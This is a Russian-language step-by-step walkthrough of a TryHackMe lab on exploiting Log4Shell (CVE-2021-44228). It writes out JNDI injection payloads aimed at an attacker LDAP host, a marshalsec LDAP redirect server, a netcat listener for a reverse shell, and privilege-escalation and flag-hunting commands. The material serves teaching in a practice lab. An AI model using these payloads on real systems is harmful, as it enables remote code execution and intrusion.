🔥 Solar Exploiting Log4j - Пошаговое руководство TryHackMe

📌 Комната: Solar Exploiting Log4j

Платформа: TryHackMe Сложность: Средняя Тема: Log4Shell (уязвимость Log4j)

🧠 Цель

Эксплуатировать уязвимость Log4j (CVE-2021-44228) для получения удаленного выполнения кода и захвата флагов.

🛠️ Используемые инструменты

• Nmap
• Burp Suite
• cURL
• Netcat
• Python HTTP Server

🌐 Шаг 1: Разведка

🔍 Сканирование цели

nmap -sC -sV <TARGET_IP>

📌 Результаты

• Открытые порты: 80 (HTTP), другие в зависимости от комнаты
• Веб-приложение с бэкендом на Java

🌐 Шаг 2: Перебор веб-приложения

• Посетить веб-приложение в браузере
• Взаимодействовать с полями ввода (логин/поиск/заголовки)
• Перехватить запрос с помощью Burp Suite

💥 Шаг 3: Обнаружение уязвимости Log4j

Уязвимость Log4j позволяет внедрение JNDI:

${jndi:ldap://<ATTACKER_IP>:1389/a}

Если ввод логируется → уязвимость присутствует.

⚙️ Шаг 4: Настройка слушателя

Запуск Netcat

nc -lvnp 4444

Запуск вредоносного LDAP-сервера (пример)

git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package

Запуск LDAP-сервера:

java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>:8000/#Exploit" 1389

📡 Шаг 5: Размещение полезной нагрузки

python3 -m http.server 8000

Создать вредоносный Java-класс (Exploit.class)

🚀 Шаг 6: Запуск эксплойта

Внедрить полезную нагрузку в уязвимое поле:

${jndi:ldap://<ATTACKER_IP>:1389/Exploit}

💡 Используйте заголовки, например:

• User-Agent
• X-Api-Version

🖥️ Шаг 7: Получение обратной оболочки

После срабатывания:

• Цель подключается обратно к слушателю Netcat
• Вы получаете доступ к оболочке

🔐 Шаг 8: Повышение привилегий (если требуется)

Проверить:

sudo -l

Искать:

• Неправильно настроенные SUID-бинарники
• Записываемые файлы
• Задания cron

🚩 Шаг 9: Захват флагов

find / -name flag.txt 2>/dev/null
cat flag.txt

🧾 Ключевые изученные концепции

• Log4Shell (CVE-2021-44228)
• Внедрение JNDI
• Удаленное выполнение кода (RCE)
• Обратная оболочка
• Эксплуатация веб-приложений